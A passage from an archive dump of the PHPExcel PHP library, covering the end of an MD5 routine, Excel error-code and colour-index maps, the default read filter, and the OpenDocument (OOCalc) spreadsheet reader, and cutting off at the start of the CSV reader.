0x8771f681); self::step($H, $C, $D, $A, $B, $words[11], 16, 0x6d9d6122); self::step($H, $B, $C, $D, $A, $words[14], 23, 0xfde5380c); self::step($H, $A, $B, $C, $D, $words[1], 4, 0xa4beea44); self::step($H, $D, $A, $B, $C, $words[4], 11, 0x4bdecfa9); self::step($H, $C, $D, $A, $B, $words[7], 16, 0xf6bb4b60); self::step($H, $B, $C, $D, $A, $words[10], 23, 0xbebfbc70); self::step($H, $A, $B, $C, $D, $words[13], 4, 0x289b7ec6); self::step($H, $D, $A, $B, $C, $words[0], 11, 0xeaa127fa); self::step($H, $C, $D, $A, $B, $words[3], 16, 0xd4ef3085); self::step($H, $B, $C, $D, $A, $words[6], 23, 0x04881d05); self::step($H, $A, $B, $C, $D, $words[9], 4, 0xd9d4d039); self::step($H, $D, $A, $B, $C, $words[12], 11, 0xe6db99e5); self::step($H, $C, $D, $A, $B, $words[15], 16, 0x1fa27cf8); self::step($H, $B, $C, $D, $A, $words[2], 23, 0xc4ac5665); /* ROUND 4 */ self::step($I, $A, $B, $C, $D, $words[0], 6, 0xf4292244); self::step($I, $D, $A, $B, $C, $words[7], 10, 0x432aff97); self::step($I, $C, $D, $A, $B, $words[14], 15, 0xab9423a7); self::step($I, $B, $C, $D, $A, $words[5], 21, 0xfc93a039); self::step($I, $A, $B, $C, $D, $words[12], 6, 0x655b59c3); self::step($I, $D, $A, $B, $C, $words[3], 10, 0x8f0ccc92); self::step($I, $C, $D, $A, $B, $words[10], 15, 0xffeff47d); self::step($I, $B, $C, $D, $A, $words[1], 21, 0x85845dd1); self::step($I, $A, $B, $C, $D, $words[8], 6, 0x6fa87e4f); self::step($I, $D, $A, $B, $C, $words[15], 10, 0xfe2ce6e0); self::step($I, $C, $D, $A, $B, $words[6], 15, 0xa3014314); self::step($I, $B, $C, $D, $A, $words[13], 21, 0x4e0811a1); self::step($I, $A, $B, $C, $D, $words[4], 6, 0xf7537e82); self::step($I, $D, $A, $B, $C, $words[11], 10, 0xbd3af235); self::step($I, $C, $D, $A, $B, $words[2], 15, 0x2ad7d2bb); self::step($I, $B, $C, $D, $A, $words[9], 21, 0xeb86d391); $this->a = ($this->a + $A) & 0xffffffff; $this->b = ($this->b + $B) & 0xffffffff; $this->c = ($this->c + $C) & 0xffffffff; $this->d = ($this->d + $D) & 0xffffffff; } private static function f($X, $Y, $Z) { return (($X & $Y) | ((~ $X) & $Z)); // X AND Y OR NOT X AND Z } private static function g($X, $Y, $Z) { return (($X & $Z) | ($Y & (~ $Z))); // X AND Z OR Y AND NOT Z } private static function h($X, $Y, $Z) { return ($X ^ $Y ^ $Z); // X XOR Y XOR Z } private static function i($X, $Y, $Z) { return ($Y ^ ($X | (~ $Z))) ; // Y XOR (X OR NOT Z) } private static function step($func, &$A, $B, $C, $D, $M, $s, $t) { $A = ($A + call_user_func($func, $B, $C, $D) + $M + $t) & 0xffffffff; $A = self::rotate($A, $s); $A = ($B + $A) & 0xffffffff; } private static function rotate($decimal, $bits) { $binary = str_pad(decbin($decimal), 32, "0", STR_PAD_LEFT); return bindec(substr($binary, $bits).substr($binary, 0, $bits)); } } PHPExcel/Reader/Excel5/ErrorCode.php 0000644 00000001033 14642534110 0013075 0 ustar 00 <?php class PHPExcel_Reader_Excel5_ErrorCode { protected static $map = array( 0x00 => '#NULL!', 0x07 => '#DIV/0!', 0x0F => '#VALUE!', 0x17 => '#REF!', 0x1D => '#NAME?', 0x24 => '#NUM!', 0x2A => '#N/A', ); /** * Map error code, e.g. '#N/A' * * @param int $code * @return string */ public static function lookup($code) { if (isset(self::$map[$code])) { return self::$map[$code]; } return false; } } PHPExcel/Reader/Excel5/Color/BIFF8.php 0000644 00000003522 14642534110 0013072 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Color_BIFF8 { protected static $map = array( 0x08 => '000000', 0x09 => 'FFFFFF', 0x0A => 'FF0000', 0x0B => '00FF00', 0x0C => '0000FF', 0x0D => 'FFFF00', 0x0E => 'FF00FF', 0x0F => '00FFFF', 0x10 => '800000', 0x11 => '008000', 0x12 => '000080', 0x13 => '808000', 0x14 => '800080', 0x15 => '008080', 0x16 => 'C0C0C0', 0x17 => '808080', 0x18 => '9999FF', 0x19 => '993366', 0x1A => 'FFFFCC', 0x1B => 'CCFFFF', 0x1C => '660066', 0x1D => 'FF8080', 0x1E => '0066CC', 0x1F => 'CCCCFF', 0x20 => '000080', 0x21 => 'FF00FF', 0x22 => 'FFFF00', 0x23 => '00FFFF', 0x24 => '800080', 0x25 => '800000', 0x26 => '008080', 0x27 => '0000FF', 0x28 => '00CCFF', 0x29 => 'CCFFFF', 0x2A => 'CCFFCC', 0x2B => 'FFFF99', 0x2C => '99CCFF', 0x2D => 'FF99CC', 0x2E => 'CC99FF', 0x2F => 'FFCC99', 0x30 => '3366FF', 0x31 => '33CCCC', 0x32 => '99CC00', 0x33 => 'FFCC00', 0x34 => 'FF9900', 0x35 => 'FF6600', 0x36 => '666699', 0x37 => '969696', 0x38 => '003366', 0x39 => '339966', 0x3A => '003300', 0x3B => '333300', 0x3C => '993300', 0x3D => '993366', 0x3E => '333399', 0x3F => '333333', ); /** * Map color array from BIFF8 built-in color index * * @param int $color * @return array */ public static function lookup($color) { if (isset(self::$map[$color])) { return array('rgb' => self::$map[$color]); } return array('rgb' => '000000'); } } PHPExcel/Reader/Excel5/Color/BuiltIn.php 0000644 00000001345 14642534110 0013643 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Color_BuiltIn { protected static $map = array( 0x00 => '000000', 0x01 => 'FFFFFF', 0x02 => 'FF0000', 0x03 => '00FF00', 0x04 => '0000FF', 0x05 => 'FFFF00', 0x06 => 'FF00FF', 0x07 => '00FFFF', 0x40 => '000000', // system window text color 0x41 => 'FFFFFF', // system window background color ); /** * Map built-in color to RGB value * * @param int $color Indexed color * @return array */ public static function lookup($color) { if (isset(self::$map[$color])) { return array('rgb' => self::$map[$color]); } return array('rgb' => '000000'); } } PHPExcel/Reader/Excel5/Color/BIFF5.php 0000644 00000003523 14642534110 0013070 0 ustar 00 <?php class PHPExcel_Reader_Excel5_Color_BIFF5 { protected static $map = array( 0x08 => '000000', 0x09 => 'FFFFFF', 0x0A => 'FF0000', 0x0B => '00FF00', 0x0C => '0000FF', 0x0D => 'FFFF00', 0x0E => 'FF00FF', 0x0F => '00FFFF', 0x10 => '800000', 0x11 => '008000', 0x12 => '000080', 0x13 => '808000', 0x14 => '800080', 0x15 => '008080', 0x16 => 'C0C0C0', 0x17 => '808080', 0x18 => '8080FF', 0x19 => '802060', 0x1A => 'FFFFC0', 0x1B => 'A0E0F0', 0x1C => '600080', 0x1D => 'FF8080', 0x1E => '0080C0', 0x1F => 'C0C0FF', 0x20 => '000080', 0x21 => 'FF00FF', 0x22 => 'FFFF00', 0x23 => '00FFFF', 0x24 => '800080', 0x25 => '800000', 0x26 => '008080', 0x27 => '0000FF', 0x28 => '00CFFF', 0x29 => '69FFFF', 0x2A => 'E0FFE0', 0x2B => 'FFFF80', 0x2C => 'A6CAF0', 0x2D => 'DD9CB3', 0x2E => 'B38FEE', 0x2F => 'E3E3E3', 0x30 => '2A6FF9', 0x31 => '3FB8CD', 0x32 => '488436', 0x33 => '958C41', 0x34 => '8E5E42', 0x35 => 'A0627A', 0x36 => '624FAC', 0x37 => '969696', 0x38 => '1D2FBE', 0x39 => '286676', 0x3A => '004500', 0x3B => '453E01', 0x3C => '6A2813', 0x3D => '85396A', 0x3E => '4A3285', 0x3F => '424242', ); /** * Map color array from BIFF5 built-in color index * * @param int $color * @return array */ public static function lookup($color) { if (isset(self::$map[$color])) { return array('rgb' => self::$map[$color]); } return array('rgb' => '000000'); } } PHPExcel/Reader/DefaultReadFilter.php 0000644 00000003343 14642534110 0013420 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_DefaultReadFilter * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_DefaultReadFilter implements PHPExcel_Reader_IReadFilter { /** * Should this cell be read? * * @param $column Column address (as a string value like "A", or "IV") * @param $row Row number * @param $worksheetName Optional worksheet name * @return boolean */ public function readCell($column, $row, $worksheetName = '') { return true; } } PHPExcel/Reader/OOCalc.php 0000644 00000110350 14642534110 0011167 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } /** * PHPExcel_Reader_OOCalc * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Reader * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Reader_OOCalc extends PHPExcel_Reader_Abstract implements PHPExcel_Reader_IReader { /** * Formats * * @var array */ private $styles = array(); /** * Create a new PHPExcel_Reader_OOCalc */ public function __construct() { $this->readFilter = new PHPExcel_Reader_DefaultReadFilter(); } /** * Can the current PHPExcel_Reader_IReader read the file? * * @param string $pFilename * @return boolean * @throws PHPExcel_Reader_Exception */ public function canRead($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $zipClass = PHPExcel_Settings::getZipClass(); // Check if zip class exists // if (!class_exists($zipClass, false)) { // throw new PHPExcel_Reader_Exception($zipClass . " library is not enabled"); // } $mimeType = 'UNKNOWN'; // Load file $zip = new $zipClass; if ($zip->open($pFilename) === true) { // check if it is an OOXML archive $stat = $zip->statName('mimetype'); if ($stat && ($stat['size'] <= 255)) { $mimeType = $zip->getFromName($stat['name']); } elseif ($stat = $zip->statName('META-INF/manifest.xml')) { $xml = simplexml_load_string($this->securityScan($zip->getFromName('META-INF/manifest.xml')), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespacesContent = $xml->getNamespaces(true); if (isset($namespacesContent['manifest'])) { $manifest = $xml->children($namespacesContent['manifest']); foreach ($manifest as $manifestDataSet) { $manifestAttributes = $manifestDataSet->attributes($namespacesContent['manifest']); if ($manifestAttributes->{'full-path'} == '/') { $mimeType = (string) $manifestAttributes->{'media-type'}; break; } } } } $zip->close(); return ($mimeType === 'application/vnd.oasis.opendocument.spreadsheet'); } return false; } /** * Reads names of the worksheets from a file, without parsing the whole file to a PHPExcel object * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetNames($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; if (!$zip->open($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! Error opening file."); } $worksheetNames = array(); $xml = new XMLReader(); $res = $xml->xml($this->securityScanFile('zip://'.realpath($pFilename).'#content.xml'), null, PHPExcel_Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); // Step into the first level of content of the XML $xml->read(); while ($xml->read()) { // Quickly jump through to the office:body node while ($xml->name !== 'office:body') { if ($xml->isEmptyElement) { $xml->read(); } else { $xml->next(); } } // Now read each node until we find our first table:table node while ($xml->read()) { if ($xml->name == 'table:table' && $xml->nodeType == XMLReader::ELEMENT) { // Loop through each table:table node reading the table:name attribute for each worksheet name do { $worksheetNames[] = $xml->getAttribute('table:name'); $xml->next(); } while ($xml->name == 'table:table' && $xml->nodeType == XMLReader::ELEMENT); } } } return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns) * * @param string $pFilename * @throws PHPExcel_Reader_Exception */ public function listWorksheetInfo($pFilename) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $worksheetInfo = array(); $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; if (!$zip->open($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! Error opening file."); } $xml = new XMLReader(); $res = $xml->xml($this->securityScanFile('zip://'.realpath($pFilename).'#content.xml'), null, PHPExcel_Settings::getLibXmlLoaderOptions()); $xml->setParserProperty(2, true); // Step into the first level of content of the XML $xml->read(); while ($xml->read()) { // Quickly jump through to the office:body node while ($xml->name !== 'office:body') { if ($xml->isEmptyElement) { $xml->read(); } else { $xml->next(); } } // Now read each node until we find our first table:table node while ($xml->read()) { if ($xml->name == 'table:table' && $xml->nodeType == XMLReader::ELEMENT) { $worksheetNames[] = $xml->getAttribute('table:name'); $tmpInfo = array( 'worksheetName' => $xml->getAttribute('table:name'), 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ); // Loop through each child node of the table:table element reading $currCells = 0; do { $xml->read(); if ($xml->name == 'table:table-row' && $xml->nodeType == XMLReader::ELEMENT) { $rowspan = $xml->getAttribute('table:number-rows-repeated'); $rowspan = empty($rowspan) ? 1 : $rowspan; $tmpInfo['totalRows'] += $rowspan; $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $currCells = 0; // Step into the row $xml->read(); do { if ($xml->name == 'table:table-cell' && $xml->nodeType == XMLReader::ELEMENT) { if (!$xml->isEmptyElement) { $currCells++; $xml->next(); } else { $xml->read(); } } elseif ($xml->name == 'table:covered-table-cell' && $xml->nodeType == XMLReader::ELEMENT) { $mergeSize = $xml->getAttribute('table:number-columns-repeated'); $currCells += $mergeSize; $xml->read(); } } while ($xml->name != 'table:table-row'); } } while ($xml->name != 'table:table'); $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $tmpInfo['lastColumnIndex'] = $tmpInfo['totalColumns'] - 1; $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); $worksheetInfo[] = $tmpInfo; } } // foreach ($workbookData->table as $worksheetDataSet) { // $worksheetData = $worksheetDataSet->children($namespacesContent['table']); // $worksheetDataAttributes = $worksheetDataSet->attributes($namespacesContent['table']); // // $rowIndex = 0; // foreach ($worksheetData as $key => $rowData) { // switch ($key) { // case 'table-row' : // $rowDataTableAttributes = $rowData->attributes($namespacesContent['table']); // $rowRepeats = (isset($rowDataTableAttributes['number-rows-repeated'])) ? // $rowDataTableAttributes['number-rows-repeated'] : 1; // $columnIndex = 0; // // foreach ($rowData as $key => $cellData) { // $cellDataTableAttributes = $cellData->attributes($namespacesContent['table']); // $colRepeats = (isset($cellDataTableAttributes['number-columns-repeated'])) ? // $cellDataTableAttributes['number-columns-repeated'] : 1; // $cellDataOfficeAttributes = $cellData->attributes($namespacesContent['office']); // if (isset($cellDataOfficeAttributes['value-type'])) { // $tmpInfo['lastColumnIndex'] = max($tmpInfo['lastColumnIndex'], $columnIndex + $colRepeats - 1); // $tmpInfo['totalRows'] = max($tmpInfo['totalRows'], $rowIndex + $rowRepeats); // } // $columnIndex += $colRepeats; // } // $rowIndex += $rowRepeats; // break; // } // } // // $tmpInfo['lastColumnLetter'] = PHPExcel_Cell::stringFromColumnIndex($tmpInfo['lastColumnIndex']); // $tmpInfo['totalColumns'] = $tmpInfo['lastColumnIndex'] + 1; // // } // } } return $worksheetInfo; } /** * Loads PHPExcel from file * * @param string $pFilename * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function load($pFilename) { // Create new PHPExcel $objPHPExcel = new PHPExcel(); // Load into this instance return $this->loadIntoExisting($pFilename, $objPHPExcel); } private static function identifyFixedStyleValue($styleList, &$styleAttributeValue) { $styleAttributeValue = strtolower($styleAttributeValue); foreach ($styleList as $style) { if ($styleAttributeValue == strtolower($style)) { $styleAttributeValue = $style; return true; } } return false; } /** * Loads PHPExcel from file into PHPExcel instance * * @param string $pFilename * @param PHPExcel $objPHPExcel * @return PHPExcel * @throws PHPExcel_Reader_Exception */ public function loadIntoExisting($pFilename, PHPExcel $objPHPExcel) { // Check if file exists if (!file_exists($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! File does not exist."); } $timezoneObj = new DateTimeZone('Europe/London'); $GMT = new DateTimeZone('UTC'); $zipClass = PHPExcel_Settings::getZipClass(); $zip = new $zipClass; if (!$zip->open($pFilename)) { throw new PHPExcel_Reader_Exception("Could not open " . $pFilename . " for reading! Error opening file."); } // echo '<h1>Meta Information</h1>'; $xml = simplexml_load_string($this->securityScan($zip->getFromName("meta.xml")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespacesMeta = $xml->getNamespaces(true); // echo '<pre>'; // print_r($namespacesMeta); // echo '</pre><hr />'; $docProps = $objPHPExcel->getProperties(); $officeProperty = $xml->children($namespacesMeta['office']); foreach ($officeProperty as $officePropertyData) { $officePropertyDC = array(); if (isset($namespacesMeta['dc'])) { $officePropertyDC = $officePropertyData->children($namespacesMeta['dc']); } foreach ($officePropertyDC as $propertyName => $propertyValue) { $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'title': $docProps->setTitle($propertyValue); break; case 'subject': $docProps->setSubject($propertyValue); break; case 'creator': $docProps->setCreator($propertyValue); $docProps->setLastModifiedBy($propertyValue); break; case 'date': $creationDate = strtotime($propertyValue); $docProps->setCreated($creationDate); $docProps->setModified($creationDate); break; case 'description': $docProps->setDescription($propertyValue); break; } } $officePropertyMeta = array(); if (isset($namespacesMeta['dc'])) { $officePropertyMeta = $officePropertyData->children($namespacesMeta['meta']); } foreach ($officePropertyMeta as $propertyName => $propertyValue) { $propertyValueAttributes = $propertyValue->attributes($namespacesMeta['meta']); $propertyValue = (string) $propertyValue; switch ($propertyName) { case 'initial-creator': $docProps->setCreator($propertyValue); break; case 'keyword': $docProps->setKeywords($propertyValue); break; case 'creation-date': $creationDate = strtotime($propertyValue); $docProps->setCreated($creationDate); break; case 'user-defined': $propertyValueType = PHPExcel_DocumentProperties::PROPERTY_TYPE_STRING; foreach ($propertyValueAttributes as $key => $value) { if ($key == 'name') { $propertyValueName = (string) $value; } elseif ($key == 'value-type') { switch ($value) { case 'date': $propertyValue = PHPExcel_DocumentProperties::convertProperty($propertyValue, 'date'); $propertyValueType = PHPExcel_DocumentProperties::PROPERTY_TYPE_DATE; break; case 'boolean': $propertyValue = PHPExcel_DocumentProperties::convertProperty($propertyValue, 'bool'); $propertyValueType = PHPExcel_DocumentProperties::PROPERTY_TYPE_BOOLEAN; break; case 'float': $propertyValue = PHPExcel_DocumentProperties::convertProperty($propertyValue, 'r4'); $propertyValueType = PHPExcel_DocumentProperties::PROPERTY_TYPE_FLOAT; break; default: $propertyValueType = PHPExcel_DocumentProperties::PROPERTY_TYPE_STRING; } } } $docProps->setCustomProperty($propertyValueName, $propertyValue, $propertyValueType); break; } } } // echo '<h1>Workbook Content</h1>'; $xml = simplexml_load_string($this->securityScan($zip->getFromName("content.xml")), 'SimpleXMLElement', PHPExcel_Settings::getLibXmlLoaderOptions()); $namespacesContent = $xml->getNamespaces(true); // echo '<pre>'; // print_r($namespacesContent); // echo '</pre><hr />'; $workbook = $xml->children($namespacesContent['office']); foreach ($workbook->body->spreadsheet as $workbookData) { $workbookData = $workbookData->children($namespacesContent['table']); $worksheetID = 0; foreach ($workbookData->table as $worksheetDataSet) { $worksheetData = $worksheetDataSet->children($namespacesContent['table']); // print_r($worksheetData); // echo '<br />'; $worksheetDataAttributes = $worksheetDataSet->attributes($namespacesContent['table']); // print_r($worksheetDataAttributes); // echo '<br />'; if ((isset($this->loadSheetsOnly)) && (isset($worksheetDataAttributes['name'])) && (!in_array($worksheetDataAttributes['name'], $this->loadSheetsOnly))) { continue; } // echo '<h2>Worksheet '.$worksheetDataAttributes['name'].'</h2>'; // Create new Worksheet $objPHPExcel->createSheet(); $objPHPExcel->setActiveSheetIndex($worksheetID); if (isset($worksheetDataAttributes['name'])) { $worksheetName = (string) $worksheetDataAttributes['name']; // Use false for $updateFormulaCellReferences to prevent adjustment of worksheet references in // formula cells... during the load, all formulae should be correct, and we're simply // bringing the worksheet name in line with the formula, not the reverse $objPHPExcel->getActiveSheet()->setTitle($worksheetName, false); } $rowID = 1; foreach ($worksheetData as $key => $rowData) { // echo '<b>'.$key.'</b><br />'; switch ($key) { case 'table-header-rows': foreach ($rowData as $key => $cellData) { $rowData = $cellData; break; } case 'table-row': $rowDataTableAttributes = $rowData->attributes($namespacesContent['table']); $rowRepeats = (isset($rowDataTableAttributes['number-rows-repeated'])) ? $rowDataTableAttributes['number-rows-repeated'] : 1; $columnID = 'A'; foreach ($rowData as $key => $cellData) { if ($this->getReadFilter() !== null) { if (!$this->getReadFilter()->readCell($columnID, $rowID, $worksheetName)) { continue; } } // echo '<b>'.$columnID.$rowID.'</b><br />'; $cellDataText = (isset($namespacesContent['text'])) ? $cellData->children($namespacesContent['text']) : ''; $cellDataOffice = $cellData->children($namespacesContent['office']); $cellDataOfficeAttributes = $cellData->attributes($namespacesContent['office']); $cellDataTableAttributes = $cellData->attributes($namespacesContent['table']); // echo 'Office Attributes: '; // print_r($cellDataOfficeAttributes); // echo '<br />Table Attributes: '; // print_r($cellDataTableAttributes); // echo '<br />Cell Data Text'; // print_r($cellDataText); // echo '<br />'; // $type = $formatting = $hyperlink = null; $hasCalculatedValue = false; $cellDataFormula = ''; if (isset($cellDataTableAttributes['formula'])) { $cellDataFormula = $cellDataTableAttributes['formula']; $hasCalculatedValue = true; } if (isset($cellDataOffice->annotation)) { // echo 'Cell has comment<br />'; $annotationText = $cellDataOffice->annotation->children($namespacesContent['text']); $textArray = array(); foreach ($annotationText as $t) { if (isset($t->span)) { foreach ($t->span as $text) { $textArray[] = (string)$text; } } else { $textArray[] = (string) $t; } } $text = implode("\n", $textArray); // echo $text, '<br />'; $objPHPExcel->getActiveSheet()->getComment($columnID.$rowID)->setText($this->parseRichText($text)); // ->setAuthor( $author ) } if (isset($cellDataText->p)) { // Consolidate if there are multiple p records (maybe with spans as well) $dataArray = array(); // Text can have multiple text:p and within those, multiple text:span. // text:p newlines, but text:span does not. // Also, here we assume there is no text data is span fields are specified, since // we have no way of knowing proper positioning anyway. foreach ($cellDataText->p as $pData) { if (isset($pData->span)) { // span sections do not newline, so we just create one large string here $spanSection = ""; foreach ($pData->span as $spanData) { $spanSection .= $spanData; } array_push($dataArray, $spanSection); } else { array_push($dataArray, $pData); } } $allCellDataText = implode($dataArray, "\n"); // echo 'Value Type is '.$cellDataOfficeAttributes['value-type'].'<br />'; switch ($cellDataOfficeAttributes['value-type']) { case 'string': $type = PHPExcel_Cell_DataType::TYPE_STRING; $dataValue = $allCellDataText; if (isset($dataValue->a)) { $dataValue = $dataValue->a; $cellXLinkAttributes = $dataValue->attributes($namespacesContent['xlink']); $hyperlink = $cellXLinkAttributes['href']; } break; case 'boolean': $type = PHPExcel_Cell_DataType::TYPE_BOOL; $dataValue = ($allCellDataText == 'TRUE') ? true : false; break; case 'percentage': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $dataValue = (float) $cellDataOfficeAttributes['value']; if (floor($dataValue) == $dataValue) { $dataValue = (integer) $dataValue; } $formatting = PHPExcel_Style_NumberFormat::FORMAT_PERCENTAGE_00; break; case 'currency': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $dataValue = (float) $cellDataOfficeAttributes['value']; if (floor($dataValue) == $dataValue) { $dataValue = (integer) $dataValue; } $formatting = PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE; break; case 'float': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $dataValue = (float) $cellDataOfficeAttributes['value']; if (floor($dataValue) == $dataValue) { if ($dataValue == (integer) $dataValue) { $dataValue = (integer) $dataValue; } else { $dataValue = (float) $dataValue; } } break; case 'date': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $dateObj = new DateTime($cellDataOfficeAttributes['date-value'], $GMT); $dateObj->setTimeZone($timezoneObj); list($year, $month, $day, $hour, $minute, $second) = explode(' ', $dateObj->format('Y m d H i s')); $dataValue = PHPExcel_Shared_Date::FormattedPHPToExcel($year, $month, $day, $hour, $minute, $second); if ($dataValue != floor($dataValue)) { $formatting = PHPExcel_Style_NumberFormat::FORMAT_DATE_XLSX15.' '.PHPExcel_Style_NumberFormat::FORMAT_DATE_TIME4; } else { $formatting = PHPExcel_Style_NumberFormat::FORMAT_DATE_XLSX15; } break; case 'time': $type = PHPExcel_Cell_DataType::TYPE_NUMERIC; $dataValue = PHPExcel_Shared_Date::PHPToExcel(strtotime('01-01-1970 '.implode(':', sscanf($cellDataOfficeAttributes['time-value'], 'PT%dH%dM%dS')))); $formatting = PHPExcel_Style_NumberFormat::FORMAT_DATE_TIME4; break; } // echo 'Data value is '.$dataValue.'<br />'; // if ($hyperlink !== null) { // echo 'Hyperlink is '.$hyperlink.'<br />'; // } } else { $type = PHPExcel_Cell_DataType::TYPE_NULL; $dataValue = null; } if ($hasCalculatedValue) { $type = PHPExcel_Cell_DataType::TYPE_FORMULA; // echo 'Formula: ', $cellDataFormula, PHP_EOL; $cellDataFormula = substr($cellDataFormula, strpos($cellDataFormula, ':=')+1); $temp = explode('"', $cellDataFormula); $tKey = false; foreach ($temp as &$value) { // Only replace in alternate array entries (i.e. non-quoted blocks) if ($tKey = !$tKey) { $value = preg_replace('/\[([^\.]+)\.([^\.]+):\.([^\.]+)\]/Ui', '$1!$2:$3', $value); // Cell range reference in another sheet $value = preg_replace('/\[([^\.]+)\.([^\.]+)\]/Ui', '$1!$2', $value); // Cell reference in another sheet $value = preg_replace('/\[\.([^\.]+):\.([^\.]+)\]/Ui', '$1:$2', $value); // Cell range reference $value = preg_replace('/\[\.([^\.]+)\]/Ui', '$1', $value); // Simple cell reference $value = PHPExcel_Calculation::translateSeparator(';', ',', $value, $inBraces); } } unset($value); // Then rebuild the formula string $cellDataFormula = implode('"', $temp); // echo 'Adjusted Formula: ', $cellDataFormula, PHP_EOL; } $colRepeats = (isset($cellDataTableAttributes['number-columns-repeated'])) ? $cellDataTableAttributes['number-columns-repeated'] : 1; if ($type !== null) { for ($i = 0; $i < $colRepeats; ++$i) { if ($i > 0) { ++$columnID; } if ($type !== PHPExcel_Cell_DataType::TYPE_NULL) { for ($rowAdjust = 0; $rowAdjust < $rowRepeats; ++$rowAdjust) { $rID = $rowID + $rowAdjust; $objPHPExcel->getActiveSheet()->getCell($columnID.$rID)->setValueExplicit((($hasCalculatedValue) ? $cellDataFormula : $dataValue), $type); if ($hasCalculatedValue) { // echo 'Forumla result is '.$dataValue.'<br />'; $objPHPExcel->getActiveSheet()->getCell($columnID.$rID)->setCalculatedValue($dataValue); } if ($formatting !== null) { $objPHPExcel->getActiveSheet()->getStyle($columnID.$rID)->getNumberFormat()->setFormatCode($formatting); } else { $objPHPExcel->getActiveSheet()->getStyle($columnID.$rID)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_GENERAL); } if ($hyperlink !== null) { $objPHPExcel->getActiveSheet()->getCell($columnID.$rID)->getHyperlink()->setUrl($hyperlink); } } } } } // Merged cells if ((isset($cellDataTableAttributes['number-columns-spanned'])) || (isset($cellDataTableAttributes['number-rows-spanned']))) { if (($type !== PHPExcel_Cell_DataType::TYPE_NULL) || (!$this->readDataOnly)) { $columnTo = $columnID; if (isset($cellDataTableAttributes['number-columns-spanned'])) { $columnTo = PHPExcel_Cell::stringFromColumnIndex(PHPExcel_Cell::columnIndexFromString($columnID) + $cellDataTableAttributes['number-columns-spanned'] -2); } $rowTo = $rowID; if (isset($cellDataTableAttributes['number-rows-spanned'])) { $rowTo = $rowTo + $cellDataTableAttributes['number-rows-spanned'] - 1; } $cellRange = $columnID.$rowID.':'.$columnTo.$rowTo; $objPHPExcel->getActiveSheet()->mergeCells($cellRange); } } ++$columnID; } $rowID += $rowRepeats; break; } } ++$worksheetID; } } // Return return $objPHPExcel; } private function parseRichText($is = '') { $value = new PHPExcel_RichText(); $value->createText($is); return $value; } } PHPExcel/Reader/CSV.php 0000644 00000025346 14642534110 0010534 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', 